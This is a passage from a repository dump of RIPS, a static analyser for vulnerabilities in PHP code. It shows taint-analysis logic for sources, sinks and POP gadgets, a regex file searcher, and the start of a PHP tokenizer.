functions';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($token_value === 'apache_setenv')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->source_functions[] = 'apache_getenv';\n\t\t\t\t\t\t\t\t\t$GLOBALS['source_functions'][] = 'apache_getenv';\n\t\t\t\t\t\t\t\t\t$new_find->title = 'User can set Apache enviroment variables. Adding apache_getenv() to tainting functions';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if($token_value === 'extract' || $token_value === 'parse_str' || $token_value === 'mb_parse_str')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// add register_globals implementation\n\t\t\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t\t\t'register_globals',\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens,$vulnstart,$c+$vulnadd),\n\t\t\t\t\t\t\t\t\t\t'register_globals implementation',\n\t\t\t\t\t\t\t\t\t\t0, 0,\n\t\t\t\t\t\t\t\t\t\t$line_nr,\n\t\t\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\t\t\tisset($this->tokens[$i][3]) ? $this->tokens[$i][3] : array()\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// add to output\n\t\t\t\t\t\t\t\tif(isset($GLOBALS['user_functions'][$this->file_name][$token_value]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(!empty($GLOBALS['output'][$this->file_name]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach($GLOBALS['output'][$this->file_name] as $block)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$calleesadded = array();\n\t\t\t\t\t\t\t\t\t\t\tforeach($block->treenodes as $tree)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\tif($tree->funcdepend === $token_value\n\t\t\t\t\t\t\t\t\t\t\t\t&& (array_intersect($tree->funcparamdepend, $vulnparams) || isset($this->scan_functions[$token_value][3]) ))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t// if funcdependend already found and added, just add foundcallee=true and continue\n\t\t\t\t\t\t\t\t\t\t\t\t\t// dont add tree again, it is already added to the vulnblock\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(in_array($tree->funcdepend, $calleesadded))\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->foundcallee = true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(isset($this->scan_functions[$token_value][3]))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$new_find->title = 'Call triggers vulnerability in function <i>'.$token_value.'()</i>';\n\t\t\t\t\t\t\t\t\t\t\t\t\telse if(empty($new_find->title))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$new_find->title = 'Userinput is passed through function parameters.';\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$block->treenodes[] = $new_find;\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(!$block->vuln && ($parameter_has_userinput || isset($this->scan_functions[$token_value][3]) || $GLOBALS['verbosity'] == 4))\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$block->vuln = true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tincreaseVulnCounter($block->sink);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t$tree->foundcallee = true;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$calleesadded[] = $token_value;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t// else: dont use the result\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(empty($new_find->title))\n\t\t\t\t\t\t\t\t\t\t$new_find->title = 'Userinput reaches sensitive sink. For more information, press the help icon on the left side.';\n\t\t\t\t\t\t\t\t\t$block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), getVulnNodeTitle($token_value), $token_value);\n\t\t\t\t\t\t\t\t\t$block->treenodes[] = $new_find;\n\t\t\t\t\t\t\t\t\tif($parameter_has_userinput || $GLOBALS['verbosity'] == 4)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$block->vuln = true;\n\t\t\t\t\t\t\t\t\t\tincreaseVulnCounter($token_value);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// if sink in var declare, offer a data leak scan - save infos for that\n\t\t\t\t\t\t\t\t\tif(isset($vardeclare))\n\t\t\t\t\t\t\t\t\t\t$block->dataleakvar = array($vardeclare['linenr'], $vardeclare['name']);\n\n\t\t\t\t\t\t\t\t\t$GLOBALS['output'][$this->file_name][] = $block;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// if classvar depends on function parameter, add this parameter to list\n\t\t\t\t\t\t\tif( isset($this->classvar) && $this->in_function && in_array($this->classvar, $this->function_obj->parameters) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$param = array_search($this->classvar, $this->function_obj->parameters);\n\t\t\t\t\t\t\t\t$GLOBALS['user_functions'][$this->file_name][$this->function_obj->name][0][$param] = $param+1;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\t\t\t\t\t} // taint analysis\n\t\t\t\t}\n\n\t\t\t\t/*************************\n\t\t\t\t\tCONTROL STRUCTURES\n\t\t\t\t*************************/\n\t\t\t\telse if( in_array($token_name, Tokens::$T_LOOP_CONTROL) )\n\t\t\t\t{\n\t\t\t\t\t// ignore in requirements output: while, for, foreach\n\t\t\t\t\t// DO..WHILE was rewritten to WHILE in tokenizer\n\t\t\t\t\t$this->ignore_requirement = true;\n\n\t\t\t\t\t$c=1;\n\t\t\t\t\t// get variables in loop condition\n\t\t\t\t\twhile($this->tokens[$i+$c] !== '{')\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->tokens[$i+$c][0] === T_VARIABLE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->tokens[$i+$c][3][] = '*';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find opening brace after '.$token_value.'-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$c++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// save current dependency\n\t\t\t\telse if(in_array($token_name, Tokens::$T_FLOW_CONTROL))\n\t\t\t\t{\n\t\t\t\t\t$c=1;\n\t\t\t\t\twhile($this->tokens[$i+$c] !== '{')\n\t\t\t\t\t{\n\t\t\t\t\t\t$c++;\n\t\t\t\t\t\tif(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Could not find opening brace after '.$token_value.'-statement.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->in_condition = $i+$c;\n\t\t\t\t\t$this->dependencytokens = array_slice($this->tokens,$i,$c);\n\t\t\t\t}\n\n\t\t\t\t/*************************\n\t\t\t\t\tFUNCTIONS\n\t\t\t\t*************************/\n\t\t\t\t// check if token is a function declaration\n\t\t\t\telse if($token_name === T_FUNCTION)\n\t\t\t\t{\n\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t{\n\t\t\t\t\t\t#addError('New function declaration in function declaration of '.$this->function_obj->name.'() found. This is valid PHP syntax but not supported by RIPS now.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->in_function++;\n\n\t\t\t\t\t\t// the next token is the \"function name()\"\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t$function_name = isset($this->tokens[$i][1]) ? $this->tokens[$i][1] : $this->tokens[$i+1][1];\n\t\t\t\t\t\t$ref_name = ($this->in_class ? $this->class_name.'::' : '') . $function_name;\n\n\t\t\t\t\t\t// add POP gadgets to info\n\t\t\t\t\t\tif(isset($this->info_functions[$function_name]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['info'][] = $ref_name;\n\n\t\t\t\t\t\t\t// add gadget to output\n\t\t\t\t\t\t\t$found_line = highlightline(array_slice($this->tokens,$i-1,4),$this->comment,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$line_nr, $function_name, false, $function_name);\n\t\t\t\t\t\t\t$new_find = new InfoTreeNode($found_line);\n\t\t\t\t\t\t\t$new_find->title = \"POP gadget $ref_name\";\n\t\t\t\t\t\t\t$new_find->lines[] = $line_nr;\n\t\t\t\t\t\t\t$new_find->filename = $this->file_pointer;\n\n\t\t\t\t\t\t\tif(isset($GLOBALS['output'][$this->file_name]['gadgets']))\n\t\t\t\t\t\t\t\t$GLOBALS['output'][$this->file_name]['gadgets']->treenodes[] = $new_find;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), 'POP gadgets');\n\t\t\t\t\t\t\t\t$block->vuln = true;\n\t\t\t\t\t\t\t\t$block->treenodes[] = $new_find;\n\t\t\t\t\t\t\t\t$GLOBALS['output'][$this->file_name]['gadgets'] = $block;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$c=3;\n\t\t\t\t\t\twhile($this->tokens[$i+$c] !== '{' && $this->tokens[$i+$c] !== ';')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// abstract functions ended\n\t\t\t\t\t\tif($this->tokens[$i+$c] === ';')\n\t\t\t\t\t\t\t$this->in_function--;\n\n\t\t\t\t\t\t// write to user_functions offset list for referencing in output\n\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$ref_name][0] = $this->file_pointer;\n\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$ref_name][1] = $line_nr-1;\n\t\t\t\t\t\t// save function as object\n\t\t\t\t\t\t$this->function_obj = new FunctionDeclare($this->dependencytokens = array_slice($this->tokens,$i-1,$c+1));\n\t\t\t\t\t\t$this->function_obj->lines[] = $line_nr;\n\t\t\t\t\t\t$this->function_obj->name = $function_name;\n\n\t\t\t\t\t\t// save all function parameters\n\t\t\t\t\t\t$this->function_obj->parameters = array();\n\t\t\t\t\t\t$e=1;\n\t\t\t\t\t\t// until function test(...) {\n\t\t\t\t\t\t//  OR\n\t\t\t\t\t\t// interface test { public function test(...); }\n\t\t\t\t\t\twhile( $this->tokens[$i+$e] !== '{' && $this->tokens[$i+$e] !== ';' )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $e]) && $this->tokens[$i + $e][0] === T_VARIABLE )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->function_obj->parameters[] = $this->tokens[$i + $e][1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$e++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// now skip the params from rest of scan,\n\t\t\t\t\t\t// or function test($a=false, $b=false) will be detected as var declaration\n\t\t\t\t\t\t$i+=$e-1; // -1, because '{' must be evaluated again\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// add globaled variables (global $a, $b, $c;) to var list\n\t\t\t\telse if($token_name === T_GLOBAL && $this->in_function)\n\t\t\t\t{\n\t\t\t\t\t$this->globals_from_function[$this->function_obj->name] = array();\n\n\t\t\t\t\t// get all globaled variables\n\t\t\t\t\t$b=1;\n\t\t\t\t\twhile($this->tokens[$i + $b] !== ';')\n\t\t\t\t\t{\n\t\t\t\t\t\tif( $this->tokens[$i + $b][0] === T_VARIABLE )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// mark variable as global scope affecting\n\t\t\t\t\t\t\t$this->put_in_global_scope[] = $this->tokens[$i+$b][1];\n\t\t\t\t\t\t\t// add variable declaration to beginning of varlist\n\t\t\t\t\t\t\t$new_var = new VarDeclare(array(\n\t\t\t\t\t\t\t\tarray(T_GLOBAL,'global',$line_nr),\n\t\t\t\t\t\t\t\tarray(T_VARIABLE,$this->tokens[$i+$b][1],$line_nr),\n\t\t\t\t\t\t\t\t';'\n\t\t\t\t\t\t\t), $this->comment);\n\t\t\t\t\t\t\t$new_var->line = $line_nr;\n\t\t\t\t\t\t\t$new_var->id = $i;\n\n\t\t\t\t\t\t\t// overwrite old local vars\n\t\t\t\t\t\t\t$this->var_declares_local[$this->tokens[$i+$b][1]] = array($new_var);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$b++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// watch returns before vuln function gets called\n\t\t\t\telse if($token_name === T_RETURN && $this->in_function==1 )\n\t\t\t\t{\n\t\t\t\t\t$GLOBALS['userfunction_taints'] = false;\n\t\t\t\t\t$GLOBALS['userfunction_secures'] = false;\n\t\t\t\t\t$c = 1;\n\t\t\t\t\t// get all variables in parameter list\n\t\t\t\t\twhile( $this->tokens[$i + $c] !== ';' )\n\t\t\t\t\t{\n\t\t\t\t\t\tif( is_array($this->tokens[$i + $c]) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif( $this->tokens[$i + $c][0] === T_VARIABLE )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// check if returned var is secured --> securing function\n\t\t\t\t\t\t\t\t$new_find = new VulnTreeNode();\n\t\t\t\t\t\t\t\t$userinput = $this->scan_parameter(\n\t\t\t\t\t\t\t\t\t$new_find,\n\t\t\t\t\t\t\t\t\t$new_find,\n\t\t\t\t\t\t\t\t\t$this->tokens[$i+$c],\n\t\t\t\t\t\t\t\t\t$this->tokens[$i+$c][3],\n\t\t\t\t\t\t\t\t\t$i+$c,\n\t\t\t\t\t\t\t\t\t$this->var_declares_local,\n\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\t\t\t$GLOBALS['F_SECURES_ALL'],\n\t\t\t\t\t\t\t\t\tTRUE\n\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t// add function to securing functions\n\t\t\t\t\t\t\t\t// if it returns no userinput/function param\n\t\t\t\t\t\t\t\tif((!$userinput || $GLOBALS['userfunction_secures']) && !$this->ignore_securing_function)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['F_SECURING_STRING'][] = $this->function_obj->name;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// add function to userinput functions if userinput\n\t\t\t\t\t\t\t\t// is fetched in the function and then returned (userinput == 1)\n\t\t\t\t\t\t\t\tif($userinput == 1 || $GLOBALS['userfunction_taints'])\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->source_functions[] = $this->function_obj->name;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t// add function to securing functions if return value is secured\n\t\t\t\t\t\t\telse if( in_array($this->tokens[$i + $c][1], $GLOBALS['F_SECURES_ALL'])\n\t\t\t\t\t\t\t|| in_array($this->tokens[$i+$c][0], Tokens::$T_CASTS))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$GLOBALS['F_SECURING_STRING'][] = $this->function_obj->name;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$c++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/*************************\n\t\t\t\t\tCLASSES\n\t\t\t\t*************************/\n\t\t\t\t// check if token is a class declaration\n\t\t\t\telse if($token_name === T_CLASS)\n\t\t\t\t{\n\t\t\t\t\t$i++;\n\t\t\t\t\t$this->class_name = $this->tokens[$i][1];\n\t\t\t\t\t$this->vuln_classes[$this->class_name] = array();\n\t\t\t\t\t$this->in_class = true;\n\t\t\t\t\t$GLOBALS['info'][] = '<font color=\"red\">Code is object-oriented. This is not supported yet and can lead to false negatives.</font>';\n\t\t\t\t}\n\t\t\t\t// build list of vars that are associated with a class\n\t\t\t\t// $var = new Classname()\n\t\t\t\telse if( $token_name === T_NEW && $this->tokens[$i-2][0] === T_VARIABLE )\n\t\t\t\t{\n\t\t\t\t\t$this->class_vars[ $this->tokens[$i-2][1] ] = $this->tokens[$i+1][1];\n\t\t\t\t}\n\t\t\t\t// copy vuln functions from extended classes\n\t\t\t\telse if($token_name === T_EXTENDS && $this->in_class)\n\t\t\t\t{\n\t\t\t\t\t$this->vuln_classes[$this->class_name] = $this->vuln_classes[ $this->tokens[$i+1][1] ];\n\t\t\t\t}\n\n\t\t\t\t/*************************\n\t\t\t\t\tOTHER\n\t\t\t\t*************************/\n\t\t\t\t// list($drink, $color, $power) = $info;\n\t\t\t\telse if($token_name === T_LIST)\n\t\t\t\t{\n\t\t\t\t\t$d=2;\n\t\t\t\t\twhile( $this->tokens[$i+$d] !== ')' && $this->tokens[$i+$d] !== ';')\n\t\t\t\t\t{\n\t\t\t\t\t\t$d++;\n\t\t\t\t\t\tif($this->tokens[$i+$d] === ';' || !isset($this->tokens[$i+$d]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\taddError('Closing parenthesis of list() is missing.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$tokenscanstart = 0;\n\t\t\t\t\tif($this->tokens[$i+$d+1] === '=' || in_array($this->tokens[$i+$d+1][0], Tokens::$T_ASSIGNMENT))\n\t\t\t\t\t\t$tokenscanstart = $d+1;\n\t\t\t\t\t$c=2;\n\t\t\t\t\tfor($c=2;$c<$d;$c++)\n\t\t\t\t\t{\n\t\t\t\t\t\tif( is_array($this->tokens[$i + $c])\n\t\t\t\t\t\t&& $this->tokens[$i + $c][0] === T_VARIABLE )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->variable_add(\n\t\t\t\t\t\t\t\t$this->tokens[$i + $c][1],\n\t\t\t\t\t\t\t\tarray_slice($this->tokens,$i,Analyzer::getBraceEnd($this->tokens,$i)+1),\n\t\t\t\t\t\t\t\t' list() ',\n\t\t\t\t\t\t\t\t$tokenscanstart, 0,\n\t\t\t\t\t\t\t\t$this->tokens[$i + $c][2],\n\t\t\t\t\t\t\t\t$i,\n\t\t\t\t\t\t\t\tisset($this->tokens[$i+$c][3]) ? $this->tokens[$i+$c][3] : array()\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$i=$i+$c+2;\n\t\t\t\t}\n\t\t\t\t// switch lines pointer back to original code if included tokens end\n\t\t\t\telse if( $token_name === T_INCLUDE_END)\n\t\t\t\t{\n\t\t\t\t\tarray_pop($this->lines_stack);\n\t\t\t\t\t$this->lines_pointer = end($this->lines_stack);\n\t\t\t\t\tarray_pop($this->inc_file_stack);\n\t\t\t\t\t$this->file_pointer = end($this->inc_file_stack);\n\t\t\t\t\t$this->comment = basename($this->file_pointer) == basename($this->file_name) ? '' : basename($this->file_pointer);\n\t\t\t\t\t$this->tif = array_pop($this->tif_stack);\n\t\t\t\t}\n\n\t\t\t} else // token is not an array\n\t\t\t{\n\t\t\t\t/*************************\n\t\t\t\t\t\tBRACES\n\t\t\t\t*************************/\n\t\t\t\t// keep track of { program blocks }\n\t\t\t\t// get current dependencies in program flow\n\t\t\t\tif($this->tokens[$i] === '{'\n\t\t\t\t&& ($this->tokens[$i-1] === ')' || $this->tokens[$i-1] === ':' || $this->tokens[$i-1] === ';' // case x:{ or case x;{\n\t\t\t\t|| (is_array($this->tokens[$i-1])\n\t\t\t\t&& ($this->tokens[$i-1][0] === T_DO  // do {\n\t\t\t\t|| $this->tokens[$i-1][0] === T_ELSE // else {\n\t\t\t\t|| $this->tokens[$i-1][0] === T_STRING // class bla {\n\t\t\t\t|| $this->tokens[$i-1][0] === T_TRY // try {\n\t\t\t\t|| $this->tokens[$i-1][0] === T_FINALLY // finally {\n\t\t\t\t|| $this->tokens[$i-1][0] === T_CATCH)) ) ) // catch{\n\t\t\t\t{\n\t\t\t\t\t// save brace amount at start of function\n\t\t\t\t\tif($this->in_function && $this->brace_save_func < 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->brace_save_func = $this->braces_open;\n\t\t\t\t\t}\n\n\t\t\t\t\t// save brace amount at start of class\n\t\t\t\t\tif($this->in_class && $this->brace_save_class < 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->brace_save_class = $this->braces_open;\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->in_condition = 0;\n\n\t\t\t\t\tif(empty($e))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(!$this->ignore_requirement)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(!empty($this->dependencytokens)\n\t\t\t\t\t\t\t&& $this->dependencytokens[0][0] === T_ELSE && $this->dependencytokens[1][0] !== T_IF )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->dependencytokens = $this->last_dependency;\n\t\t\t\t\t\t\t\t$this->dependencytokens[] = array(T_ELSE, 'else', $this->dependencytokens[0][2]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->ignore_requirement = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// add dependency (even push empty dependency on stack, it will get poped again)\n\t\t\t\t\t\t$this->dependencies[$line_nr] = $this->dependencytokens;\n\t\t\t\t\t\t$this->dependencytokens = array();\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($e);\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->braces_open++;\n\t\t\t\t}\n\t\t\t\t// before block ending \"}\" there must be a \";\" or another \"}\". otherwise curly syntax\n\t\t\t\telse if( $this->tokens[$i] === '}'\n\t\t\t\t&& ($this->tokens[$i-1] === ';' || $this->tokens[$i-1] === '}' || $this->tokens[$i-1] === '{') )\n\t\t\t\t{\n\t\t\t\t\t$this->braces_open--;\n\n\t\t\t\t\t// delete current dependency\n\t\t\t\t\t$this->last_dependency = array_pop($this->dependencies);\n\t\t\t\t\t$this->dependencytokens = array();\n\n\t\t\t\t\t// end of function found if brace amount = amount before function start\n\t\t\t\t\tif($this->in_function && $this->brace_save_func === $this->braces_open)\n\t\t\t\t\t{\n\t\t\t\t\t\t$ref_name = ($this->in_class ? $this->class_name.'::' : '') . $this->function_obj->name;\n\t\t\t\t\t\t// write ending to user_function list for referencing functions in output\n\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$ref_name][2] = $line_nr;\n\t\t\t\t\t\t// reset vars for next function declaration\n\t\t\t\t\t\t$this->brace_save_func = -1;\n\t\t\t\t\t\t$this->ignore_securing_function = false;\n\t\t\t\t\t\t$this->in_function--;\n\t\t\t\t\t\t$this->function_obj = null;\n\t\t\t\t\t\t$this->var_declares_local = array();\n\t\t\t\t\t\t$this->put_in_global_scope = array();\n\t\t\t\t\t\t// load new found vulnerable user functions to current scanlist\n\t\t\t\t\t\tif(isset($GLOBALS['user_functions'][$this->file_name]))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->scan_functions = array_merge($this->scan_functions, $GLOBALS['user_functions'][$this->file_name]);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// end of class found\n\t\t\t\t\tif($this->in_class && $this->brace_save_class === $this->braces_open)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->brace_save_class = -1;\n\t\t\t\t\t\t$this->in_class = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} // token scanned\n\n\t\t\t// detect if still in a vardeclare, otherwise delete saved infos\n\t\t\tif(isset($vardeclare) && $vardeclare['end'] === $i)\n\t\t\t\tunset($vardeclare);\n\n\t\t} // all tokens scanned.\n\n\t\treturn $this->inc_map;\n\t}\n}\n"
  },
  {
    "path": "lib/searcher.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n\tfunction searchFile($file_name, $search)\n\t{\n\t\t$search = str_replace('/', '.', $search);\n\t\t$lines = file($file_name);\n\t\t$block = new VulnBlock('Search hits');\n\t\tfor($i=0; $i<count($lines); $i++)\n\t \t{\n\t\t\tif(preg_match(\"/\".trim($search).\"/i\", $lines[$i], $matches))\n\t\t\t{\n\t\t\t\t$GLOBALS['count_matches']++;\n\n\t\t\t\t$tokens = @token_get_all('<? '.trim($lines[$i]).' ?'.'>');\n\t\t\t\t$line = highlightline($tokens, '', $i+1, $search);\n\n\t\t\t\t$line = preg_replace(\"/(>[^<]*)(\".preg_quote(trim($matches[0]), '/').\")/i\", \"$1<span class='markline'>$2</span>\", $line);\n\t\t\t\t$new_find = new VulnTreeNode($line);\n\t\t\t\t$new_find->filename = $file_name;\n\t\t\t\t$new_find->title = 'Regular expression match';\n\t\t\t\t$new_find->lines[] = $i+1;\n\n\t\t\t\t$block->treenodes[] = $new_find;\n\t\t\t\t$block->vuln = true;\n\t\t\t}\n\t\t}\n\t\t$id = (isset($GLOBALS['output'][$file_name])) ? count($GLOBALS['output'][$file_name]) : 0;\n\t\t$GLOBALS['output'][$file_name][$id] = $block;\n\t}\n"
  },
  {
    "path": "lib/tokenizer.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nclass Tokenizer\n{\n\tpublic $filename;\n\tpublic $tokens;\n\n\tfunction __construct($filename)\n\t{\n\t\t$this->filename = $filename;\n\t}\n\n\t// main\n\tpublic function tokenize($code)\n\t{\n\t\t$this->tokens = token_get_all($code);\n\t\t$this->prepare_tokens();\n\t\t$this->array_reconstruct_tokens();\n\t\t$this->fix_tokens();\n\t\t$this->fix_ternary();\n\t\t#die(print_r($this->tokens));\n\t\treturn $this->tokens;\n\t}\n\n\t// adds braces around offsets\n\tfunction wrapbraces($start, $between, $end)\n\t{\n\t\t$this->tokens = array_merge(\n\t\t\tarray_slice($this->tokens, 0, $start), array('{'),\n\t\t\tarray_slice($this->tokens, $start, $between), array('}'),\n\t\t\tarray_slice($this->tokens, $end)\n\t\t);\n\t}\n\n\t// delete all tokens to ignore while scanning, mostly whitespaces\n\tfunction prepare_tokens()\n\t{\n\t\t// delete whitespaces and other unimportant tokens, rewrite some special tokens\n\t\tfor($i=0, $max=count($this->tokens); $i<$max; $i++)\n\t\t{\n\t\t\tif( is_array($this->tokens[$i]) )\n\t\t\t{\n\t\t\t\tif( in_array($this->tokens[$i][0], Tokens::$T_IGNORE) )\n\t\t\t\t\tunset($this->tokens[$i]);\n\t\t\t\telse if( $this->tokens[$i][0] === T_CLOSE_TAG )\n\t\t\t\t\t$this->tokens[$i] = ';';\n\t\t\t\telse if( $this->tokens[$i][0] === T_OPEN_TAG_WITH_ECHO )\n\t\t\t\t\t$this->tokens[$i][1] = 'echo';\n\t\t\t}\n\t\t\t// @ (depress errors) disturbs connected token handling\n\t\t\telse if($this->tokens[$i] === '@')\n\t\t\t{\n\t\t\t\tunset($this->tokens[$i]);\n\t\t\t}\n\t\t\t// rewrite $array{index} to $array[index]\n\t\t\telse if( $this->tokens[$i] === '{'\n\t\t\t&& isset($this->tokens[$i-1]) && ((is_array($this->tokens[$i-1]) && $this->tokens[$i-1][0] === T_VARIABLE)\n\t\t\t|| $this->tokens[$i-1] === ']') )\n\t\t\t{\n\t\t\t\t$this->tokens[$i] = '[';\n\t\t\t\t$f=1;\n\t\t\t\twhile($this->tokens[$i+$f] !== 